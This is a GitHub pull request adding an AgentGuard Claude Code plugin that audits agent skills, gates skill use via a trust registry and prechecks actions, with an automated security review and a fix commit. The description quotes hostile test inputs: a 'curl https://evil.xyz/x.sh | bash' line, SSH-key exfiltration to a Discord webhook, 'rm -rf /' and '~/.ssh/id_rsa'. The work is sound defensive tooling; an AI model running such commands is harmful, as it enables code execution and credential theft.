Skip to content

feat(plugin): add agentguard-toolkit — MCP-driven Claude Code plugin - #117

Open
theyavuzarslan wants to merge 2 commits into
GoPlusSecurity:mainfrom
theyavuzarslan:add-agentguard-toolkit-plugin
Open

feat(plugin): add agentguard-toolkit — MCP-driven Claude Code plugin#117
theyavuzarslan wants to merge 2 commits into
GoPlusSecurity:mainfrom
theyavuzarslan:add-agentguard-toolkit-plugin

Conversation

@theyavuzarslan

Copy link
Copy Markdown
Contributor

Summary

Adds a second Claude Code plugin, agentguard-toolkit, at plugins/agentguard-toolkit/, plus its entry in .claude-plugin/marketplace.json.

It drives the AgentGuard MCP server (agentguard-mcp) directly, complementing the existing hook+CLI based agentguard plugin at the repo root. Where the root plugin guards tool calls with bundled node scripts, this one exposes the 7 MCP tools and adds skills over them — so it works for anyone with the MCP server configured, with no repo checkout.

What's included

Component Detail
.mcp.json Wires agentguard-mcp via npx -y --package @goplus/agentguard — no checkout, no global install required
Skills (4) skill-audit, skill-trust, action-precheck, web3-precheck — all 7 MCP tools covered, none orphaned
Hooks (2) PreToolUse:Skill trust gate + SessionStart context injector

No double-guarding

The root plugin hooks Bash, Write|Edit, WebFetch|WebSearch. This plugin deliberately claims zero overlapping matchers — it gates Skill invocation instead, reading the shared trust registry that registry_attest / registry_revoke write. Both plugins can be installed together.

Trust gate behaviour: revoked → deny, untrusted → ask, restricted → capability note, trusted/unknown → silent. It never emits allow, so it can only tighten permissions, never loosen them.

Upstream bugs this works around

Verified by driving the real MCP server over stdio (v1.1.28). The advertised JSON Schema disagrees with the runtime Zod validation in three places:

  1. The skill object requires all four of id / source / version_ref / artifact_hash. Omitting a key is rejected; empty strings are accepted. Schema marks them optional.
  2. action_scanner_decide additionally requires context.session_id and context.user_present. Schema marks only env required.
  3. skill_scanner_scan requires path — omitting it throws Cannot read properties of undefined (reading 'replace'). Schema marks it optional.

The skills compensate for all three. Fixing these in the server would let the skills drop the workarounds — happy to file separately.

Also worth a look: skill_scanner_scan returned risk_level: low with no tags on a fixture SKILL.md containing curl https://evil.xyz/x.sh | bash plus an SSH-key exfil to a Discord webhook. action_scanner_decide correctly denied the identical command, so the static scanner may not inspect malicious instructions in markdown prose.

Testing

  • claude plugin validate passes on both the plugin and the marketplace manifest
  • End-to-end against the live MCP server: all 7 tools accepted with the payload shapes the skills prescribe; rm -rf /deny/critical; ~/.ssh/id_rsadeny
  • Full chain verified: registry_attest (restricted) → real registry.json → hook emits capability note → registry_revoke → hook emits deny
  • Trust gate exercised across 9 paths including expired records, plugin:skill namespacing, unknown skills, wrong tool, and malformed stdin
  • Real install verified: claude plugin install agentguard-toolkit@goplus-agentguard → 4 skills, 2 hooks, 1 MCP server, ~618 always-on tokens
  • Both hook scripts are dependency-free Node (node:fs/os/path) and always exit 0, so a missing or malformed registry can never block a session

Notes for reviewers

  • Plugin version is 0.1.0 — say the word if you'd prefer 1.0.0 for the first public release
  • The agentguard-toolkit name is an immutable slug once published; renaming later breaks existing installs
  • Intended follow-up: submit to Anthropic's community marketplace, which pins to a commit SHA in this repo

🤖 Generated with Claude Code

Adds a second Claude Code plugin that drives the AgentGuard MCP server
directly, complementing the existing hook+CLI based `agentguard` plugin.

Components:
- .mcp.json wiring `agentguard-mcp` (7 tools) via npx, no checkout needed
- 4 focused skills: skill-audit, skill-trust, action-precheck, web3-precheck
- 2 hooks on surfaces the existing plugin does not touch:
  PreToolUse:Skill trust gate (reads the shared trust registry) and a
  SessionStart context injector. Zero matcher overlap, so both plugins
  can be installed together without double-guarding.

The skills compensate for three divergences between the MCP server's
advertised JSON Schema and its runtime validation (v1.1.28), all verified
by driving the server over stdio:
- the `skill` object requires all four of id/source/version_ref/artifact_hash
- action_scanner_decide requires context.session_id and context.user_present
- skill_scanner_scan requires `path` (omitting it throws)

Both hook scripts are dependency-free Node and always exit 0, so a bad or
missing registry can never block a session.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
@github-actions

github-actions Bot commented Aug 16, 2026

Copy link
Copy Markdown

AgentGuard PR Review

  1. severity: highplugins/agentguard-toolkit/hooks/scripts/skill-trust-gate.js (new file, restricted-record branch)

    • What can go wrong: A malformed or unexpected record.capabilities shape can still be treated as valid because hasValidCapabilities returns true if any allowlist is merely an array, even when other required fields are missing or exec is invalid. This can produce misleading “RESTRICTED” guidance instead of clearly falling back to a safer state, weakening the trust gate for security-sensitive skill execution.
    • Fix: Validate the full capabilities object against the expected schema before using it; if any required field is missing or invalid, emit a denial/ask-style warning and do not present granted capabilities.
  2. severity: mediumplugins/agentguard-toolkit/hooks/scripts/skill-trust-gate.js (same hunk, recordMatches)

    • What can go wrong: The hook matches only by skill.id or basename of skill.source. For renamed/repackaged skills, a revoked record will not match and the gate will stay silent, allowing execution of a previously revoked artifact under a different name.
    • Fix: Add stronger identity checks where possible, and for the hook at minimum surface an explicit warning that name-based matching is incomplete; enforce full source@version_ref#artifact_hash identity in the MCP/CLI path before installation or attestation.
  3. severity: mediumplugins/agentguard-toolkit/.mcp.json

    • What can go wrong: The MCP server is launched via npx -y --package @goplus/agentguard agentguard-mcp with no pinning to a specific version or integrity check. A future upstream release or transient registry compromise could change the executable fetched at install/use time, which is risky for a security framework.
    • Fix: Pin to an exact package version and verify integrity/source, or vendor the server binary/package and avoid network fetches during plugin startup.

Addresses the four review findings. Two were confirmed defects and are fixed;
two did not reproduce and are explained below.

CONFIRMED — malformed `capabilities` on a restricted record (was: silent)
The restricted branch dereferenced capabilities.<allowlist>.length with no
guard, so a record missing `capabilities` threw and main().catch swallowed it,
emitting nothing. Capabilities shape is now validated and a malformed record
emits an explicit "treat as untrusted" note instead of vanishing.
Note the blocking paths were never affected: revoked/untrusted are evaluated
before this branch, and a malformed *revoked* record still emits deny.

CONFIRMED — over-broad record matching
recordMatches() compared record_key.split("@")[0] against the invoked skill
name. record_key is `<source>@<version_ref>#<artifact_hash>`, so that segment
is a source URL and can never legitimately equal a skill name — it only widened
the collision surface. Removed. Exact skill.id and source-basename matching
remain.

The residual limitation is inherent and is now documented: PreToolUse:Skill
supplies only a skill name, so a revoked artifact re-installed under a
different name will not match. Matching on full canonical identity is not
possible here — the event carries no source or hash, and artifact_hash is
caller-supplied rather than computed by the package. Enforcement against the
full `source@version_ref#artifact_hash` identity belongs in the MCP/CLI layer.

NOT REPRODUCED — registry schema assumption
`{version, updated_at, records: []}` is the canonical on-disk format, per the
repo's own data/registry.json, src/registry/storage.ts (uses data.records
throughout), and the bytes written by the live v1.1.28 server. Failing closed
on an unparseable registry was not adopted: if the file cannot be parsed we
cannot know which skills are revoked, so denying everything would wedge every
session — and most users have no registry at all.

The legitimate part is adopted: a registry that EXISTS but does not parse is
no longer a silent no-op. It now emits a systemMessage naming the path and
stating the gate is inactive. An ABSENT registry stays silent.

NOT REPRODUCED — SessionStart context leak
The hook emitted two integers (active/revoked counts), never skill names,
sources, or trust metadata; verified against a registry containing an internal
skill id and an internal URL, neither of which appeared. The counts bought
little, so they are removed anyway — no registry-derived data now reaches the
model context.

Verification: all 9 pre-existing gate paths byte-identical (revoked->deny,
untrusted->ask, restricted->context, trusted/expired/unknown/wrong-tool/
malformed-stdin->silent). Both scripts remain dependency-free (node:fs/os/path)
with no exit(2) and always exit 0. `claude plugin validate` passes.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant